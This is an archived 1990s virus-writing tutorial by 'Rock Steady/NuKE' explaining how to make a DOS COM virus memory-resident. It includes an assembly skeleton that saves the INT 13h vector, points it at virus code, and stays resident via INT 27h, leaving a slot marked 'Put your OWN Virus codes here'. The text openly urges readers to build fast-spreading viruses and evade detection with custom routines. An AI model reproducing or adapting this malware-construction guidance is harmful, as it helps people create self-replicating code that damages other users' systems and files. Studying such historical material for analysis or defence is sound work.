home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / virus / virusprogramming / rstut002.txt < prev    next >
Text File  |  1996-04-16  |  9KB  |  176 lines

  1.                         ***********************************
  2.                         **       TSR COM infections      **
  3.                         **                               **
  4.                         **      By Rock Steady/NuKE      **
  5.                         ***********************************
  6.  
  7.      There are several ways to constructed your viruses. Mainly you have those
  8.  which are RAM-Resident or better known as a TSR program. And with great
  9.  thought we have those which are not RAM-Resident.
  10.  
  11.      A TSR virus will load into memory and can infect all programs that are
  12.  executed by the computer. Such like my AmiLiA virus which will infect all
  13.  EXE and COM files that are ran. Anyhow a TSR virus can certainly spread a lot
  14.  faster compared to a Non-Resident Virus. Because a NON-Resident Virus will
  15.  only infect file each time it is ran. Though the NON-Resident will start
  16.  off very slowly infecting the system files but after the virus is in the
  17.  system after a number of weeks, it will certainly infect ALL files that are
  18.  in the system. Where a TSR virus will USUALLY infect files that are executed.
  19.  So that only files that are often executed will be infected. But The TSR
  20.  virus can certainly infect A LOT more files than a Non-Resident JUST on the
  21.  first Hour! It is out numbered 10 to 1. This is the advantage that all
  22.  programmers enjoy and program TSR viruses. I will explain a SIMPLE method of
  23.  making your program a TSR one. And it will be as flexible as you want so
  24.  that NO ONE can stay you `Stole' this information off Rock Steady.
  25.  
  26.      Anyhow I will explain the simple Process of Intercepting ROM-Bios
  27.  Interrupts and hooking your virus/Program to any Interrupt of your choice.
  28.  This method that is being explained is also used ALL the Jerusalem Strains.
  29.  And several of the Vacsina Strains. They total up to close to 100+ Viruses
  30.  that use this simple way with the TSR Interrupt 27h. Anyhow just because I'm
  31.  explaining this method your virus CANNOT be detected because of this TSR
  32.  routines because there are routines I DEVELOPED ALONE and will soon to be
  33.  release in one of my future virii. Anyhow there are an UNLIMITED amount of
  34.  ways to make TSRs so that along as you Develop YOUR OWN routine it will NEVER
  35.  get detected as a virus for all you Beginners. And how this routine can be
  36.  used in several OTHER utilities not just viruses.
  37.  
  38.                              Beginning...
  39.                              ~~~~~~~~~~~
  40.      First we must Intercept an Interrupt, Lets say we want our virus to
  41.  activate Every TIME the disk I/O is being used we would use INT 13h or
  42.  INT 21h. The INT 13h will activate everytime ANY file is opened or Closed
  43.  And the INT 21h will activity anytime any file is executed or any INT 21h
  44.  functions Like a "DIR" in DOS. If you want you can even hooked your virus
  45.  to INT 10h and it may activate when Graphics are displayed, or you can hook
  46.  it to the interrupt involved with Printer Functions. Whatever seems to
  47.  `EnLighten' you, since we live in a Distressed world, I won't even bother
  48.  why we shouldn't hooked them up to just ANY interrupt.
  49.  
  50.      Anyhow, interrupts use a vector table at the bottom of memory (ROM) to
  51.  find out what routine in the ROM Bios to call. So the address for Interrupt
  52.  21h would be located at 0000:0084 and for Interrupt 13h it would be found at
  53.  0000:004Ch. So we can change theses addresses in the vector table. What we
  54.  do is we change the vector address to POINT to our virus. So everytime the
  55.  Interrupt is called it goes to the vector table and the table tells it to
  56.  call our Virus, rather than calling the ROM Bios. But what MUST do
  57.  FIRST is save the ORIGINAL Interrupt routine and place that somewhere in
  58.  memory. So that our virus will call the Original ROM Bios routine after
  59.  executing itself.
  60.  
  61.      Lets say we hooked our Virus to the INT 13h, which controls all Disk
  62.  Activities. So if our Computer users tries to read something from the disk
  63.  the Computer will call the INT 13h bios Routines on How To do it. But
  64.  instead of finding the INT 13h routines it calls our virus, and the Virus
  65.  gets ran, which then our virus does what it has to do, and then runs the
  66.  Original INT 13h Routine where-ever it was stored. So it simulates an INT
  67.  call to the ROM bios routines.
  68.  
  69.  ;----------------------------------------------------------------
  70.  ; Sample Program on how to Hook your virus to an Interrupt call.
  71.  ;----------------------------------------------------------------
  72.  Code        Segment
  73.          Assume  cs:code,ss:code,ds:code,es:code
  74.          Org     100h       ; Guess this will be a COM file? Huh?
  75.  
  76.  
  77.  Begin:  JMP     Bios_Routine
  78.  
  79.          NOP                  ; This is just a cheap .COM file that the
  80.          NOP                  ; virus is attached to. Remember you should
  81.          NOP                  ; have the first 3 bytes written in your
  82.          INT     20h          ; virus.
  83.  
  84.  OLD_ROM_INT     DD      ?    ;Our Stack to save the OLD Int Address
  85.  
  86.  ;----------------------------------------------------------------
  87.  ; This Calls the VIRUS and then the simulates the OLD Rom Routine
  88.  ;----------------------------------------------------------------
  89.  Virus_Codes    PROC     FAR
  90.         Assume  cs:code, ds:nothing
  91.  
  92.         pushf               ; Everytime the ROM-Routine is call this
  93.         push    ax          ; is what happens... Saves the Regesters
  94.         push    di          ; And runs Our Virus... Then it restores
  95.         push    si          ; the regesters and Runs the OLD_ROM Bios
  96.         push    es          ; Routine that was supposed to be ran in
  97.         push    ds          ; the first place...
  98.         call    The_Virus
  99.         pop     ds          ;NoTe: It's better to SAVE all Regesters and
  100.         pop     es          ; Flags because our Virus WILL ALTER a few
  101.         pop     si          ; And when the Virus leaves control back to the
  102.         pop     di          ; Computer it is EXPECTED to continue where it
  103.         pop     ax          ; It left off...
  104.         popf
  105.  
  106.         pushf            ; This `pushf' is NEEDED to act like a simulated
  107.         call    OLD_ROM_INT       ; ROM Bios Interrupt call...
  108.  
  109.         ret
  110.  Virus_Codes   ENDP
  111.  
  112.  ;----------------------------------------------------------------
  113.  ; Put the REAL Virus Codes here...
  114.  ;----------------------------------------------------------------
  115.  The_Virus        PROC    NEAR
  116.         ...            ; Put your OWN Virus codes here...
  117.         ...            ; Just make it compatible with our
  118.         ...            ; Codes... Try to make it small and
  119.         ...            ; it will take up less space in the
  120.         ...            ; users' memory.
  121.         ...
  122.         ...            ;NoTe: Try to infect files that are ONLY
  123.         ...            ; Executed! Rather than each time the INT
  124.         ...            ; is used... Get it?
  125.         RET
  126.  The_Virus      ENDP
  127.  
  128.  ;---------------------------------------------------------------
  129.  ; This is the Procedure that SAVE the OLD_ROM Bios in our Virus
  130.  ; And places a Call to point to our Virus. Which then Calls the
  131.  ; OLD_ROM Bios Routine. So Remember to SAVE it first.
  132.  ;---------------------------------------------------------------
  133.  Bios_Routine   PROC    NEAR
  134.         Assume  cs:code,ds:code
  135.  
  136.         mov     ah,35h      ; This Asks for the interrupt vector!
  137.         mov     al,13h      ; whatever is in AL is what int vector
  138.         int     21h         ; address you get and is stored in ES:BX
  139.  
  140.         mov     word ptr OLD_ROM_INT,bx   ;Save the BX register in our Stack
  141.         mov     word ptr OLD_ROM_INT[2],es ;And same to the ES Register
  142.  
  143.  ; Here you SHOULD put a small routine to check if the Interrupt vector has
  144.  ; already been changed! For INT 13h this should contain 0000:004Ch the
  145.  ; formula for this is (Interrupt # times 4) For INT 21h it is (21hx4)=84h
  146.  ; and so on. So if its been changed it means the virus has already changed
  147.  ; it! And it `Should' be resident. How ever this is a simple way of doing
  148.  ; it. but not always the BEST way... Because any program the hooks to the
  149.  ; virus interrupt will fool the virus to think it is already resident.
  150.  ; Though this source is NOT for the Professional Virus Programmer like myself
  151.  ; because WE KNOW! But for those that are half way there...
  152.  
  153.         mov     ah,25h    ; This asks to set a Interrupt vector address!
  154.         mov     al,13h    ; Interrupt # to be set goes in AL
  155.         mov     dx,offset Virus_Codes ; Sets INT 13h to point to `Virus Code'
  156.         int     21h
  157.  
  158.         mov     dx,offset Bios_Routine
  159.         int     27h
  160.  Bios_Routine     ENDP
  161.  
  162.  ;  Anything after this point will not be memory resident. because the end
  163.  ;  of the resident portion ends at `Bios_Routine' procedure.
  164.  
  165.  Code        ENDS
  166.       END    Begin
  167.  ;----------------------------- EnD ----------------------------------
  168.  
  169.  Simple isn't it? Anyhow I tried to make this as simple as possible. I
  170.  hope I didn't lose you. Anyhow this is a simple routine that several
  171.  TSR virii use. Anyhow, see what that gives you....
  172.  
  173.                            Rock Steady
  174.                NukE / Viral Development Researcher
  175.                              -PeAcE-                    
  176.